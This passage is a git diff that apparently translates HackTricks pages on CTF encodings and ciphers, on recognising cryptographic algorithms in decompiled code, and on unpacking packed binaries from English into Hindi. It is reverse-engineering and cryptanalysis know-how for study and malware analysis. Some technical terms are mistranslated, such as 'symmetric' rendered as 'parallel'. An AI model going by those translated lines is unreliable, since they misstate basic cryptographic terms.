`UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse - +### मोर्स ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 मृत: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) -### BinHex - +### बिनहैक्स ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### ड्वोरक कीबोर्ड ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +अक्षरों को उनके संख्यात्मक मान में बदलना ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` - ### Affine Cipher Encode -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +अक्षर को संख्या `(ax+b)%26` (_a_ और _b_ कुंजी हैं और _x_ अक्षर है) और परिणाम को फिर से अक्षर में। ``` krodfdudfrod ``` +### SMS कोड -### SMS Code +**Multitap** [एक अक्षर को बदलता है](https://www.dcode.fr/word-letter-change) मोबाइल [फोन कीपैड](https://www.dcode.fr/phone-keypad-cipher) पर संबंधित कुंजी कोड द्वारा परिभाषित दोहराए गए अंकों से (यह मोड SMS लिखते समय उपयोग किया जाता है)।\ +उदाहरण के लिए: 2=A, 22=B, 222=C, 3=D...\ +आप इस कोड की पहचान कर सकते हैं क्योंकि आप\*\* कई अंकों को दोहराते हुए देखेंगे\*\*। -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +आप इस कोड को डिकोड कर सकते हैं: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### बेकन कोड +प्रत्येक अक्षर को 4 A या B (या 1s और 0s) से बदलें ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../images/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** और **Raw Inflate** (आप दोनों को Cyberchef में पा सकते हैं) डेटा को बिना हेडर के संकुचित और असंकुचित कर सकते हैं। ## Easy Crypto @@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +एक कीवर्ड की आवश्यकता है ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +एक कुंजी शब्द की आवश्यकता है ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## मजबूत क्रिप्टो -### Fernet - -2 base64 strings (token and key) +### फर्नेट +2 बेस64 स्ट्रिंग (टोकन और कुंजी) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### समीर गुप्त साझाकरण +एक गुप्त को X भागों में विभाजित किया जाता है और इसे पुनर्प्राप्त करने के लिए आपको Y भागों की आवश्यकता होती है (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### OpenSSL ब्रूट-फोर्स - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## उपकरण - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..47f34d3ba 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# क्रिप्टोग्राफिक/संपीड़न एल्गोरिदम -## Cryptographic/Compression Algorithms +## क्रिप्टोग्राफिक/संपीड़न एल्गोरिदम {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## एल्गोरिदम की पहचान करना -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +यदि आप एक कोड में **शिफ्ट दाएं और बाएं, XOR और कई अंकगणितीय संचालन** का उपयोग करते हैं, तो यह अत्यधिक संभव है कि यह एक **क्रिप्टोग्राफिक एल्गोरिदम** का कार्यान्वयन है। यहाँ कुछ तरीके दिखाए जाएंगे **जिससे आप बिना प्रत्येक चरण को उलटने की आवश्यकता के एल्गोरिदम की पहचान कर सकते हैं**। -### API functions +### API फ़ंक्शन **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +यदि इस फ़ंक्शन का उपयोग किया गया है, तो आप दूसरे पैरामीटर के मान की जांच करके यह पता लगा सकते हैं कि **कौन सा एल्गोरिदम उपयोग किया जा रहा है**: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +संभावित एल्गोरिदम और उनके असाइन किए गए मानों की तालिका यहाँ देखें: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +एक दिए गए डेटा बफर को संकुचित और अनसंकुचित करता है। **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +[दस्तावेज़ों से](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** फ़ंक्शन का उपयोग एक विशेष कुंजी कंटेनर के लिए हैंडल प्राप्त करने के लिए किया जाता है जो एक विशेष क्रिप्टोग्राफिक सेवा प्रदाता (CSP) के भीतर है। **यह लौटाया गया हैंडल उन CryptoAPI** फ़ंक्शनों में कॉल करने के लिए उपयोग किया जाता है जो चयनित CSP का उपयोग करते हैं। **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +डेटा के एक स्ट्रीम का हैशिंग शुरू करता है। यदि इस फ़ंक्शन का उपयोग किया गया है, तो आप दूसरे पैरामीटर के मान की जांच करके यह पता लगा सकते हैं कि **कौन सा एल्गोरिदम उपयोग किया जा रहा है**: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +संभावित एल्गोरिदम और उनके असाइन किए गए मानों की तालिका यहाँ देखें: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### कोड स्थिरांक -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +कभी-कभी एक एल्गोरिदम की पहचान करना वास्तव में आसान होता है क्योंकि इसे एक विशेष और अद्वितीय मान का उपयोग करने की आवश्यकता होती है। ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +यदि आप Google में पहले स्थिरांक की खोज करते हैं, तो आपको यह मिलता है: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +इसलिए, आप मान सकते हैं कि डिकंपाइल किया गया फ़ंक्शन एक **sha256 कैलकुलेटर है।**\ +आप अन्य स्थिरांकों में से किसी की भी खोज कर सकते हैं और आपको (संभवतः) वही परिणाम प्राप्त होगा। -### data info +### डेटा जानकारी -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +यदि कोड में कोई महत्वपूर्ण स्थिरांक नहीं है, तो यह **.data सेक्शन से जानकारी लोड कर रहा हो सकता है**।\ +आप उस डेटा तक पहुँच सकते हैं, **पहले DWORD को समूहित करें** और इसे Google में खोजें जैसा कि हमने पिछले अनुभाग में किया था: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +इस मामले में, यदि आप **0xA56363C6** की खोज करते हैं, तो आप देख सकते हैं कि यह **AES एल्गोरिदम की तालिकाओं** से संबंधित है। -## RC4 **(Symmetric Crypt)** +## RC4 **(समानांतर क्रिप्ट)** -### Characteristics +### विशेषताएँ -It's composed of 3 main parts: +यह 3 मुख्य भागों में विभाजित है: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **आरंभिक चरण/**: **0x00 से 0xFF** (कुल 256 बाइट, 0x100) के मानों की एक **तालिका** बनाता है। इस तालिका को सामान्यतः **सब्स्टिट्यूशन बॉक्स** (या SBox) कहा जाता है। +- **स्क्रैम्बलिंग चरण**: पहले बनाई गई तालिका के माध्यम से **लूप करेगा** (0x100 पुनरावृत्तियों का लूप, फिर से) प्रत्येक मान को **सेमी-रैंडम** बाइट्स के साथ संशोधित करेगा। इन सेमी-रैंडम बाइट्स को बनाने के लिए, RC4 **कुंजी का उपयोग किया जाता है**। RC4 **कुंजी** की लंबाई **1 से 256 बाइट** के बीच हो सकती है, हालाँकि आमतौर पर इसे 5 बाइट से अधिक होना अनुशंसित है। सामान्यतः, RC4 कुंजी 16 बाइट लंबी होती है। +- **XOR चरण**: अंततः, प्लेन-टेक्स्ट या सिफरटेक्स को **पहले बनाए गए मानों के साथ XOR किया जाता है**। एन्क्रिप्ट और डिक्रिप्ट करने के लिए फ़ंक्शन वही होता है। इसके लिए, **बनाए गए 256 बाइट्स के माध्यम से लूप किया जाएगा** जितनी बार आवश्यक हो। इसे आमतौर पर डिकंपाइल किए गए कोड में **%256 (mod 256)** के साथ पहचाना जाता है। > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **डिस्सेम्बली/डिकंपाइल किए गए कोड में RC4 की पहचान करने के लिए, आप 0x100 के आकार के 2 लूप की जांच कर सकते हैं (कुंजी के उपयोग के साथ) और फिर इन 2 लूप में पहले बनाए गए 256 मानों के साथ इनपुट डेटा का XOR संभवतः %256 (mod 256) का उपयोग करते हुए।** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **आरंभिक चरण/सब्स्टिट्यूशन बॉक्स:** (गिनती के रूप में उपयोग किए गए 256 संख्या और 256 वर्णों के प्रत्येक स्थान पर 0 कैसे लिखा गया है, पर ध्यान दें) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **स्क्रैम्बलिंग चरण:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **XOR चरण:** ![](<../../images/image (904).png>) -## **AES (Symmetric Crypt)** +## **AES (समानांतर क्रिप्ट)** -### **Characteristics** +### **विशेषताएँ** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- **सब्स्टिट्यूशन बॉक्स और लुकअप तालिकाओं** का उपयोग +- **विशिष्ट लुकअप तालिका मानों** (स्थिरांक) के उपयोग के कारण **AES को पहचानना संभव है**। _ध्यान दें कि **स्थिरांक** को **बाइनरी में** _या_ _**डायनामिकली**_ _**स्टोर** किया जा सकता है।_ +- **एन्क्रिप्शन कुंजी** को **16** से **भाग दिया जाना चाहिए** (आमतौर पर 32B) और आमतौर पर 16B का **IV** उपयोग किया जाता है। -### SBox constants +### SBox स्थिरांक ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## सर्पेंट **(समानांतर क्रिप्ट)** -### Characteristics +### विशेषताएँ -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- इसे उपयोग करने वाले कुछ मैलवेयर मिलना दुर्लभ है लेकिन इसके उदाहरण हैं (Ursnif) +- इसकी लंबाई (अत्यधिक लंबा फ़ंक्शन) के आधार पर यह निर्धारित करना सरल है कि एल्गोरिदम सर्पेंट है या नहीं। -### Identifying +### पहचानना -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +अगली छवि में ध्यान दें कि स्थिरांक **0x9E3779B9** का उपयोग किया गया है (ध्यान दें कि यह स्थिरांक अन्य क्रिप्टो एल्गोरिदम जैसे **TEA** -Tiny Encryption Algorithm द्वारा भी उपयोग किया जाता है)।\ +लूप का **आकार** (**132**) और **डिस्सेम्बली** निर्देशों में और **कोड** उदाहरण में XOR संचालन की **संख्या** पर भी ध्यान दें: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +जैसा कि पहले उल्लेख किया गया था, इस कोड को किसी भी डिकंपाइलर के अंदर एक **बहुत लंबे फ़ंक्शन** के रूप में देखा जा सकता है क्योंकि इसके अंदर **कोई कूद** नहीं है। डिकंपाइल किया गया कोड निम्नलिखित की तरह दिख सकता है: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +इसलिए, आप **जादुई संख्या** और **प्रारंभिक XORs** की जांच करके इस एल्गोरिदम की पहचान कर सकते हैं, एक **बहुत लंबे फ़ंक्शन** को देख सकते हैं और **कुछ निर्देशों** की **तुलना** कर सकते हैं **लंबे फ़ंक्शन** के साथ **एक कार्यान्वयन** (जैसे 7 द्वारा बाएं शिफ्ट और 22 द्वारा बाएं घुमाना)। -## RSA **(Asymmetric Crypt)** +## RSA **(असमानांतर क्रिप्ट)** -### Characteristics +### विशेषताएँ -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- समानांतर एल्गोरिदम की तुलना में अधिक जटिल +- कोई स्थिरांक नहीं! (कस्टम कार्यान्वयन को निर्धारित करना कठिन है) +- KANAL (एक क्रिप्टो विश्लेषक) RSA पर संकेत दिखाने में विफल रहता है क्योंकि यह स्थिरांकों पर निर्भर करता है। -### Identifying by comparisons +### तुलना द्वारा पहचानना ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- लाइन 11 (बाएं) में `+7) >> 3` है जो लाइन 35 (दाएं) में समान है: `+7) / 8` +- लाइन 12 (बाएं) यह जांच रही है कि `modulus_len < 0x040` और लाइन 36 (दाएं) यह जांच रही है कि `inputLen+11 > modulusLen` -## MD5 & SHA (hash) +## MD5 & SHA (हैश) -### Characteristics +### विशेषताएँ -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3 फ़ंक्शन: Init, Update, Final +- समान प्रारंभिक फ़ंक्शन -### Identify +### पहचानें **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +आप स्थिरांकों की जांच करके दोनों की पहचान कर सकते हैं। ध्यान दें कि sha_init में 1 स्थिरांक है जो MD5 में नहीं है: ![](<../../images/image (406).png>) **MD5 Transform** -Note the use of more constants +अधिक स्थिरांकों के उपयोग पर ध्यान दें ![](<../../images/image (253) (1) (1).png>) -## CRC (hash) +## CRC (हैश) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- छोटा और अधिक कुशल क्योंकि इसका कार्य डेटा में आकस्मिक परिवर्तनों को खोजना है +- लुकअप तालिकाओं का उपयोग करता है (इसलिए आप स्थिरांकों की पहचान कर सकते हैं) -### Identify +### पहचानें -Check **lookup table constants**: +**लुकअप तालिका स्थिरांक** की जांच करें: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +एक CRC हैश एल्गोरिदम इस तरह दिखता है: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib (संपीड़न) -### Characteristics +### विशेषताएँ -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- पहचानने योग्य स्थिरांक नहीं +- आप एल्गोरिदम को पायथन में लिखने और ऑनलाइन समान चीजों की खोज करने का प्रयास कर सकते हैं -### Identify +### पहचानें -The graph is quiet large: +ग्राफ़ काफी बड़ा है: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +इसे पहचानने के लिए **3 तुलना** की जांच करें: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 6699ec26f..e7c9c0a7a 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,24 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# पैक किए गए बाइनरी की पहचान करना -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **स्ट्रिंग्स की कमी**: यह सामान्य है कि पैक किए गए बाइनरी में लगभग कोई स्ट्रिंग नहीं होती है। +- बहुत सारी **अप्रयुक्त स्ट्रिंग्स**: इसके अलावा, जब एक मैलवेयर किसी प्रकार के व्यावसायिक पैकर का उपयोग कर रहा होता है, तो बिना क्रॉस-रेफरेंस के बहुत सारी स्ट्रिंग्स मिलना सामान्य है। भले ही ये स्ट्रिंग्स मौजूद हों, इसका मतलब यह नहीं है कि बाइनरी पैक नहीं है। +- आप यह पता लगाने के लिए कुछ टूल्स का उपयोग कर सकते हैं कि बाइनरी को पैक करने के लिए कौन सा पैकर उपयोग किया गया था: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# बुनियादी सिफारिशें -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- **नीचे से शुरू करें** पैक किए गए बाइनरी का **विश्लेषण IDA में और ऊपर की ओर बढ़ें**। अनपैकर्स तब समाप्त होते हैं जब अनपैक किया गया कोड समाप्त होता है, इसलिए यह संभावना नहीं है कि अनपैकर शुरू में अनपैक किए गए कोड को निष्पादन पास करता है। +- **JMP's** या **CALLs** के लिए **रजिस्टर** या **मेमोरी** के **क्षेत्रों** की खोज करें। इसके अलावा, **फंक्शंस जो आर्गुमेंट्स और एक एड्रेस डायरेक्शन को पुश करते हैं और फिर `retn` को कॉल करते हैं** के लिए खोजें, क्योंकि उस मामले में फंक्शन की वापसी उस एड्रेस को कॉल कर सकती है जो स्टैक में पुश किया गया था। +- `VirtualAlloc` पर एक **ब्रेकपॉइंट** लगाएं क्योंकि यह मेमोरी में स्थान आवंटित करता है जहां प्रोग्राम अनपैक किया गया कोड लिख सकता है। "यूजर कोड पर चलाएं" या F8 का उपयोग करें **EAX के अंदर मान प्राप्त करने के लिए** फंक्शन को निष्पादित करने के बाद और "**डंप में उस एड्रेस का पालन करें**"। आप कभी नहीं जानते कि क्या यह वह क्षेत्र है जहां अनपैक किया गया कोड सहेजा जाएगा। +- **`VirtualAlloc`** के साथ मान "**40**" एक आर्गुमेंट के रूप में पढ़ें + लिखें + निष्पादित करें (कुछ कोड जिसे निष्पादन की आवश्यकता है, यहां कॉपी किया जाएगा)। +- **कोड को अनपैक करते समय** यह सामान्य है कि **गणितीय संचालन** और **`memcopy`** या **`Virtual`**`Alloc` जैसी फंक्शंस के लिए **कई कॉल्स** मिलें। यदि आप किसी फंक्शन में हैं जो स्पष्ट रूप से केवल गणितीय संचालन करता है और शायद कुछ `memcopy` करता है, तो सिफारिश है कि आप **फंक्शन के अंत को खोजने की कोशिश करें** (शायद किसी रजिस्टर पर JMP या कॉल) **या** कम से कम **आखिरी फंक्शन को कॉल करें** और फिर चलाएं क्योंकि कोड दिलचस्प नहीं है। +- कोड को अनपैक करते समय **ध्यान दें** जब भी आप **मेमोरी क्षेत्र बदलते हैं** क्योंकि मेमोरी क्षेत्र में परिवर्तन **अनपैकिंग कोड की शुरुआत** का संकेत दे सकता है। आप Process Hacker का उपयोग करके आसानी से मेमोरी क्षेत्र को डंप कर सकते हैं (प्रक्रिया --> गुण --> मेमोरी)। +- कोड को अनपैक करने की कोशिश करते समय यह जानने का एक अच्छा तरीका है कि **क्या आप पहले से ही अनपैक किए गए कोड के साथ काम कर रहे हैं** (ताकि आप इसे केवल डंप कर सकें) यह है कि **बाइनरी की स्ट्रिंग्स की जांच करें**। यदि किसी बिंदु पर आप एक जंप करते हैं (शायद मेमोरी क्षेत्र बदलते हुए) और आप देखते हैं कि **और अधिक स्ट्रिंग्स जोड़ी गई हैं**, तो आप जान सकते हैं **आप अनपैक किए गए कोड के साथ काम कर रहे हैं**।\ +हालांकि, यदि पैकर में पहले से ही बहुत सारी स्ट्रिंग्स हैं, तो आप देख सकते हैं कि कितनी स्ट्रिंग्स में "http" शब्द है और देखें कि क्या यह संख्या बढ़ती है। +- जब आप मेमोरी के एक क्षेत्र से एक निष्पादन योग्य को डंप करते हैं, तो आप कुछ हेडर को [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) का उपयोग करके ठीक कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index 